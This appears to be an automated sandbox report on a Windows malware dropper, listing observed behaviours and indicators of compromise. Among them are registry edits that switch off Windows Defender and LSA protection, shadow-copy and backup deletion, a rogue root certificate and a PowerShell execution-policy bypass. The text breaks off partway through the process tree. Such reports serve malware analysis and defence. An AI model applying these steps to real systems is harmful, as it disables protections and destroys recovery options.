eedb39df4e5c24881f31c507dcc9146f4c53d20f7dd67397c3bc02845950c886

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Program Files\\WindowsOptions\\scvhost.exe"	scvhost.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 8 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "0"	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	BerserkGuard.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	BerserkGuard.exe

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	scvhost.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 9 IoCs

pid	Process
4256	bcdedit.exe
2700	bcdedit.exe
2704	bcdedit.exe
3148	bcdedit.exe
4404	bcdedit.exe
4392	bcdedit.exe
552	bcdedit.exe
3104	bcdedit.exe
2440	bcdedit.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4128	powershell.exe
4708	powershell.exe
1456	powershell.exe
4708	powershell.exe
2260	powershell.exe
4376	powershell.exe
3372	powershell.exe
2036	powershell.exe
3372	powershell.exe

Deletes system backups 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
4208	wbadmin.exe
3824	wbadmin.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
32	1536	nvidia_d64.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\GameDriverX64.sys	BerserkGuard.exe

Modify Registry: Disable Windows Driver Blocklist 2 TTPs 7 IoCs

Disable Windows Driver Blocklist via Registry.

Modify Registry

persistence credential_access

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\CI\Config\VulnerableDriverBlocklistEnable = "0"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\CI\Config\VulnerableDriverBlocklistEnable = "0"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\CI\Config\VulnerableDriverBlocklistEnable = "0"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\CI\Config\VulnerableDriverBlocklistEnable = "0"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\CI\Config\VulnerableDriverBlocklistEnable = "0"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\CI\Config\VulnerableDriverBlocklistEnable = "0"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\CI\Config\VulnerableDriverBlocklistEnable = "0"	BerserkGuard.exe

Boot or Logon Autostart Execution: LSASS Driver 2 TTPs 7 IoCs

Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems.

LSASS Driver

T1547.008

LSASS Memory

T1003.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\RunAsPPL = "0"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\RunAsPPL = "0"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\RunAsPPL = "0"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\RunAsPPL = "0"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\RunAsPPL = "0"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\RunAsPPL = "0"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\RunAsPPL = "0"	BerserkGuard.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	BerserkGuard.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	BerserkGuard.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	2026-08-14_951070690277029079eae530f088f5cd_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 16 IoCs

pid	Process
180	UnRAR.exe
2824	BerserkGuard.exe
3044	BerserkGuard.exe
3520	BerserkGuard.exe
4752	BerserkGuard.exe
3692	scvhost.exe
3832	nvidia_dr64.exe
4956	FACEITInstaller_64.exe
3244	FACEITInstaller_64.tmp
4720	BerserkGuard.exe
3220	nvidia_d64.exe
1536	nvidia_d64.exe
3420	BerserkGuard.exe
3960	UnRar.exe
1960	BerserkGuard.exe
4500	UnRar.exe

Loads dropped DLL 44 IoCs

pid	Process
3044	BerserkGuard.exe
3520	BerserkGuard.exe
3520	BerserkGuard.exe
3520	BerserkGuard.exe
4752	BerserkGuard.exe
4720	BerserkGuard.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
3420	BerserkGuard.exe
1960	BerserkGuard.exe

Discovers running processes 1 TTPs 64 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2332	tasklist.exe
3080	tasklist.exe
1652	tasklist.exe
4772	tasklist.exe
4688	tasklist.exe
3968	tasklist.exe
1812	tasklist.exe
224	tasklist.exe
3340	tasklist.exe
2448	tasklist.exe
4976	tasklist.exe
4908	tasklist.exe
4052	tasklist.exe
940	tasklist.exe
4728	tasklist.exe
4860	tasklist.exe
4932	tasklist.exe
672	tasklist.exe
2248	tasklist.exe
4484	tasklist.exe
568	tasklist.exe
1816	tasklist.exe
4576	tasklist.exe
1460	tasklist.exe
4524	tasklist.exe
288	tasklist.exe
3216	tasklist.exe
2564	tasklist.exe
3512	tasklist.exe
5072	tasklist.exe
4248	tasklist.exe
4400	tasklist.exe
1088	tasklist.exe
1064	tasklist.exe
3928	tasklist.exe
4704	tasklist.exe
5060	tasklist.exe
1064	tasklist.exe
4824	tasklist.exe
3312	tasklist.exe
2740	tasklist.exe
3720	tasklist.exe
1436	tasklist.exe
1532	tasklist.exe
1232	tasklist.exe
4380	tasklist.exe
672	tasklist.exe
1720	tasklist.exe
4876	tasklist.exe
4164	tasklist.exe
1868	tasklist.exe
1724	tasklist.exe
1020	tasklist.exe
2256	tasklist.exe
2764	tasklist.exe
4960	tasklist.exe
748	tasklist.exe
3312	tasklist.exe
3968	tasklist.exe
64	tasklist.exe
4876	tasklist.exe
2504	tasklist.exe
3512	tasklist.exe
1768	tasklist.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
1780	WScript.exe

Drops file in Program Files directory 16 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsOptions\MR_ROBOT.txt	powershell.exe
File created	C:\Program Files\WindowsOptions\Run.vbs	powershell.exe
File opened for modification	C:\Program Files\WindowsOptions\BerserkGuard.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_d64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\n_config	powershell.exe
File created	C:\Program Files\WindowsOptions\sfx.rar	powershell.exe
File created	C:\Program Files\WindowsOptions\UnRAR.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\WinSW-x64.exe	powershell.exe
File opened for modification	C:\Program Files\WindowsOptions\scvhost.log	scvhost.exe
File created	C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.xml	powershell.exe
File created	C:\Program Files\WindowsOptions\BerserkGuard.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_dr64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\scvhost.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\install.ps1	powershell.exe
File created	C:\Program Files\WindowsOptions\taskmgr.dll	powershell.exe
File created	C:\Program Files\WindowsOptions\FACEITInstaller_64.exe	powershell.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3968	sc.exe
3996	sc.exe
2748	sc.exe
1904	sc.exe

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x00070000000244b8-123.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3400	cmd.exe
1280	cmd.exe
4316	cmd.exe
3684	cmd.exe

Modifies trusted root certificate store through registry 1 TTPs 1 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6084ACE535AD811B26A3459EF56164B32250E1F0\Blob = 0300000001000000140000006084ace535ad811b26a3459ef56164b32250e1f00b00000001000000140000006d00690074006d00700072006f00780079000000200000000100000039030000308203353082021da003020102021407abd8cbc7738c98925d49ce92aaefd7248d308e300d06092a864886f70d01010b050030283112301006035504030c096d69746d70726f787931123010060355040a0c096d69746d70726f7879301e170d3236303831333033323035375a170d3336303831323033323035375a30283112301006035504030c096d69746d70726f787931123010060355040a0c096d69746d70726f787930820122300d06092a864886f70d01010105000382010f003082010a0282010100d4c3692a8633527fb18de885223645979cb9bce75936baf47dd2db6fae86fa44e0c2bf668ee809c10c55a96c5eec4b8032f18224ec7bd81321dc63d14572f7c1d77568d188f9754818756c5da8d69a48f398df058fde9135427dcd90f406f8f92e23d15390687e1f614b4c6411d82796cf7476457593c92580c3990062671a016d803c2b02b773792cb9604034518d1dc7ebb811f99a3e01a4bb636ca63304e5bd2bd3e58037c833d1d5a0a7125873f66fa0e75086ec547503f136c38bafbdb5b74b33c2a4631f6d865f03350f8b5de3abbc32dcb263a7a4295547dfa0c254352cd7784a5106232f1e43a0b954dde3f33da902a0b5e981e98a323ca2e5e02cfd0203010001a3573055300f0603551d130101ff040530030101ff30130603551d25040c300a06082b06010505070301300e0603551d0f0101ff040403020106301d0603551d0e04160414e71ee7b16dc07b34324d81896c2f051fd58d5b3c300d06092a864886f70d01010b05000382010100c88de1c26808572384af2c1abf28d56433e3f5d80807edb40bd709a43b400b2e4f18d84dc6f6bc196b2b0a7a328d8bbaa95135e2f01912100a15ea4da896e40eabf42335e3cbe245b63fc2e373f8cdedeb48c730ddbf8720f33d755e3eddd3d6039b2d19d78d05714b1e14a7f7fc880bd7ab5a4823013d4006f7a4f5b02a6b16a967c06673c48394032c6d367d075aab83f97192441d1cde338f10cf8ce991bcc5b07ef32b30787f23b64b524936e623d2ee9c541de32823595f0627cf63a1979ec2b45436afa7c4ce485ab84575c774049a9d469a49bfa609297dfbebc05ee07379a449cb6e8e976233ee4c9c15889e962fb7d07749bbcec9d69ef28336d6ad	nvidia_dr64.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FACEITInstaller_64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FACEITInstaller_64.tmp

Inno Setup is an open-source installation builder for Windows applications. 2 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral1/memory/4956-356-0x00000000005F0000-0x0000000000714000-memory.dmp	innosetup
behavioral1/memory/4956-637-0x00000000005F0000-0x0000000000714000-memory.dmp	innosetup

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemManufacturer	BerserkGuard.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemProductName	BerserkGuard.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3564	vssadmin.exe

Kills process with taskkill 3 IoCs

defense_evasion spyware trojan

pid	Process
4012	taskkill.exe
1384	taskkill.exe
5048	taskkill.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings	2026-08-14_951070690277029079eae530f088f5cd_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-668679576-120646659-2289335452-1000\{0B9AFD97-78AD-40E1-811B-EE0E42CA5EB5}	scvhost.exe

Modifies system certificate store 2 TTPs 1 IoCs

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6084ACE535AD811B26A3459EF56164B32250E1F0	nvidia_dr64.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4128	powershell.exe
4128	powershell.exe
4128	powershell.exe
4128	powershell.exe
3520	BerserkGuard.exe
3520	BerserkGuard.exe
4128	powershell.exe
4376	powershell.exe
4376	powershell.exe
3372	powershell.exe
3372	powershell.exe
2036	powershell.exe
1456	powershell.exe
1456	powershell.exe
2036	powershell.exe
3692	scvhost.exe
3692	scvhost.exe
4708	powershell.exe
4708	powershell.exe
3692	scvhost.exe
3692	scvhost.exe
3692	scvhost.exe
3692	scvhost.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
3692	scvhost.exe
3692	scvhost.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
3692	scvhost.exe
3692	scvhost.exe
3692	scvhost.exe
3692	scvhost.exe
2260	powershell.exe
2260	powershell.exe
3692	scvhost.exe
3692	scvhost.exe
3692	scvhost.exe
3692	scvhost.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
3692	scvhost.exe
3692	scvhost.exe
3692	scvhost.exe
3692	scvhost.exe
3692	scvhost.exe
3692	scvhost.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
3692	scvhost.exe
3692	scvhost.exe
3692	scvhost.exe
3692	scvhost.exe
3692	scvhost.exe
3692	scvhost.exe
1536	nvidia_d64.exe
1536	nvidia_d64.exe
3692	scvhost.exe
3692	scvhost.exe
3692	scvhost.exe
3692	scvhost.exe
3692	scvhost.exe
3692	scvhost.exe
1536	nvidia_d64.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4128	powershell.exe
Token: SeDebugPrivilege	4376	powershell.exe
Token: SeDebugPrivilege	3372	powershell.exe
Token: SeIncreaseQuotaPrivilege	4376	powershell.exe
Token: SeSecurityPrivilege	4376	powershell.exe
Token: SeTakeOwnershipPrivilege	4376	powershell.exe
Token: SeLoadDriverPrivilege	4376	powershell.exe
Token: SeSystemProfilePrivilege	4376	powershell.exe
Token: SeSystemtimePrivilege	4376	powershell.exe
Token: SeProfSingleProcessPrivilege	4376	powershell.exe
Token: SeIncBasePriorityPrivilege	4376	powershell.exe
Token: SeCreatePagefilePrivilege	4376	powershell.exe
Token: SeBackupPrivilege	4376	powershell.exe
Token: SeRestorePrivilege	4376	powershell.exe
Token: SeShutdownPrivilege	4376	powershell.exe
Token: SeDebugPrivilege	4376	powershell.exe
Token: SeSystemEnvironmentPrivilege	4376	powershell.exe
Token: SeRemoteShutdownPrivilege	4376	powershell.exe
Token: SeUndockPrivilege	4376	powershell.exe
Token: SeManageVolumePrivilege	4376	powershell.exe
Token: 33	4376	powershell.exe
Token: 34	4376	powershell.exe
Token: 35	4376	powershell.exe
Token: 36	4376	powershell.exe
Token: SeDebugPrivilege	2036	powershell.exe
Token: SeDebugPrivilege	1456	powershell.exe
Token: SeIncreaseQuotaPrivilege	1456	powershell.exe
Token: SeSecurityPrivilege	1456	powershell.exe
Token: SeTakeOwnershipPrivilege	1456	powershell.exe
Token: SeLoadDriverPrivilege	1456	powershell.exe
Token: SeSystemProfilePrivilege	1456	powershell.exe
Token: SeSystemtimePrivilege	1456	powershell.exe
Token: SeProfSingleProcessPrivilege	1456	powershell.exe
Token: SeIncBasePriorityPrivilege	1456	powershell.exe
Token: SeCreatePagefilePrivilege	1456	powershell.exe
Token: SeBackupPrivilege	1456	powershell.exe
Token: SeRestorePrivilege	1456	powershell.exe
Token: SeShutdownPrivilege	1456	powershell.exe
Token: SeDebugPrivilege	1456	powershell.exe
Token: SeSystemEnvironmentPrivilege	1456	powershell.exe
Token: SeRemoteShutdownPrivilege	1456	powershell.exe
Token: SeUndockPrivilege	1456	powershell.exe
Token: SeManageVolumePrivilege	1456	powershell.exe
Token: 33	1456	powershell.exe
Token: 34	1456	powershell.exe
Token: 35	1456	powershell.exe
Token: 36	1456	powershell.exe
Token: SeBackupPrivilege	1440	vssvc.exe
Token: SeRestorePrivilege	1440	vssvc.exe
Token: SeAuditPrivilege	1440	vssvc.exe
Token: SeDebugPrivilege	4012	taskkill.exe
Token: SeDebugPrivilege	1384	taskkill.exe
Token: SeDebugPrivilege	5048	taskkill.exe
Token: SeDebugPrivilege	3720	tasklist.exe
Token: SeDebugPrivilege	4116	tasklist.exe
Token: SeDebugPrivilege	4708	powershell.exe
Token: SeDebugPrivilege	1452	tasklist.exe
Token: SeDebugPrivilege	4704	tasklist.exe
Token: SeDebugPrivilege	1816	tasklist.exe
Token: SeDebugPrivilege	2260	powershell.exe
Token: SeDebugPrivilege	64	tasklist.exe
Token: SeDebugPrivilege	940	tasklist.exe
Token: SeDebugPrivilege	4808	tasklist.exe
Token: SeDebugPrivilege	2764	tasklist.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4900 wrote to memory of 1780	4900	2026-08-14_951070690277029079eae530f088f5cd_cryptbot_icedid_luca-stealer_njrat_stealc.exe	84
PID 1780 wrote to memory of 4128	1780	WScript.exe	85
PID 4128 wrote to memory of 180	4128	powershell.exe	87
PID 4128 wrote to memory of 2824	4128	powershell.exe	90
PID 2824 wrote to memory of 3968	2824	BerserkGuard.exe	91
PID 2824 wrote to memory of 3996	2824	BerserkGuard.exe	95
PID 2824 wrote to memory of 2748	2824	BerserkGuard.exe	98
PID 2824 wrote to memory of 4256	2824	BerserkGuard.exe	101
PID 3520 wrote to memory of 1904	3520	BerserkGuard.exe	103
PID 2824 wrote to memory of 2704	2824	BerserkGuard.exe	106
PID 4752 wrote to memory of 2700	4752	BerserkGuard.exe	108
PID 2824 wrote to memory of 3148	2824	BerserkGuard.exe	110
PID 4752 wrote to memory of 4404	4752	BerserkGuard.exe	112
PID 4752 wrote to memory of 4392	4752	BerserkGuard.exe	114
PID 4128 wrote to memory of 3692	4128	powershell.exe	119
PID 4128 wrote to memory of 3832	4128	powershell.exe	120
PID 3832 wrote to memory of 4376	3832	nvidia_dr64.exe	121
PID 4128 wrote to memory of 4956	4128	powershell.exe	123
PID 3692 wrote to memory of 3372	3692	scvhost.exe	124
PID 4956 wrote to memory of 3244	4956	FACEITInstaller_64.exe	126
PID 4720 wrote to memory of 552	4720	BerserkGuard.exe	128
PID 3692 wrote to memory of 2036	3692	scvhost.exe	131
PID 3832 wrote to memory of 1456	3832	nvidia_dr64.exe	133
PID 3832 wrote to memory of 3220	3832	nvidia_dr64.exe	136
PID 2036 wrote to memory of 3400	2036	powershell.exe	139
PID 3400 wrote to memory of 1452	3400	cmd.exe	169
PID 3220 wrote to memory of 1536	3220	nvidia_d64.exe	142
PID 2036 wrote to memory of 1280	2036	powershell.exe	144
PID 1280 wrote to memory of 4208	1280	cmd.exe	146
PID 2036 wrote to memory of 4316	2036	powershell.exe	147
PID 4316 wrote to memory of 3824	4316	cmd.exe	149
PID 2036 wrote to memory of 3684	2036	powershell.exe	150
PID 3684 wrote to memory of 3564	3684	cmd.exe	152
PID 1536 wrote to memory of 4012	1536	nvidia_d64.exe	182
PID 1536 wrote to memory of 1384	1536	nvidia_d64.exe	157
PID 1536 wrote to memory of 5048	1536	nvidia_d64.exe	159
PID 1536 wrote to memory of 3720	1536	nvidia_d64.exe	161
PID 1536 wrote to memory of 4116	1536	nvidia_d64.exe	163
PID 3692 wrote to memory of 4708	3692	scvhost.exe	167
PID 1536 wrote to memory of 1452	1536	nvidia_d64.exe	169
PID 3420 wrote to memory of 3960	3420	BerserkGuard.exe	172
PID 3420 wrote to memory of 3104	3420	BerserkGuard.exe	174
PID 1536 wrote to memory of 4704	1536	nvidia_d64.exe	176
PID 1536 wrote to memory of 1816	1536	nvidia_d64.exe	179
PID 3692 wrote to memory of 2260	3692	scvhost.exe	181
PID 1536 wrote to memory of 64	1536	nvidia_d64.exe	183
PID 1536 wrote to memory of 940	1536	nvidia_d64.exe	185
PID 1536 wrote to memory of 4808	1536	nvidia_d64.exe	187
PID 1536 wrote to memory of 2764	1536	nvidia_d64.exe	190
PID 1536 wrote to memory of 4876	1536	nvidia_d64.exe	192
PID 1536 wrote to memory of 4772	1536	nvidia_d64.exe	194
PID 1536 wrote to memory of 5060	1536	nvidia_d64.exe	196
PID 1536 wrote to memory of 4728	1536	nvidia_d64.exe	200
PID 1536 wrote to memory of 1460	1536	nvidia_d64.exe	202
PID 1536 wrote to memory of 4164	1536	nvidia_d64.exe	204
PID 1536 wrote to memory of 3252	1536	nvidia_d64.exe	206
PID 1536 wrote to memory of 3968	1536	nvidia_d64.exe	208
PID 1536 wrote to memory of 2520	1536	nvidia_d64.exe	210
PID 1536 wrote to memory of 3508	1536	nvidia_d64.exe	212
PID 1536 wrote to memory of 1812	1536	nvidia_d64.exe	214
PID 1536 wrote to memory of 2040	1536	nvidia_d64.exe	216
PID 1536 wrote to memory of 3448	1536	nvidia_d64.exe	218
PID 1536 wrote to memory of 5072	1536	nvidia_d64.exe	220
PID 1536 wrote to memory of 468	1536	nvidia_d64.exe	222

System policy modification 1 TTPs 1 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	scvhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-08-14_951070690277029079eae530f088f5cd_cryptbot_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-14_951070690277029079eae530f088f5cd_cryptbot_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4900
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Run.vbs"
  2⤵
  - Checks computer location settings
  - Executes a VBScript file via the Windows Script Host.
  - Suspicious use of WriteProcessMemory
  PID:1780
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\RarSFX0\install.ps1" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Run.vbs"
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    - Command and Scripting Interpreter: PowerShell
    - Drops file in Program Files directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4128
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX0\UnRAR.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\UnRAR.exe" x -y -pHelloFriend! "C:\Users\Admin\AppData\Local\Temp\RarSFX0\sfx.rar" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\"
      4⤵
      Executes dropped EXE
      PID:180
  - - C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
      "C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
      4⤵
      Modifies Windows Defender DisableAntiSpyware settings
      Modifies Windows Defender Real-time Protection settings
      Drops file in Drivers directory
      Modify Registry: Disable Windows Driver Blocklist
      Boot or Logon Autostart Execution: LSASS Driver
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:2824
    - - C:\Windows\system32\sc.exe
        
        "C:\Windows\system32\sc.exe" qfailure ExeGuardSvc
        5⤵
        Launches sc.exe
        
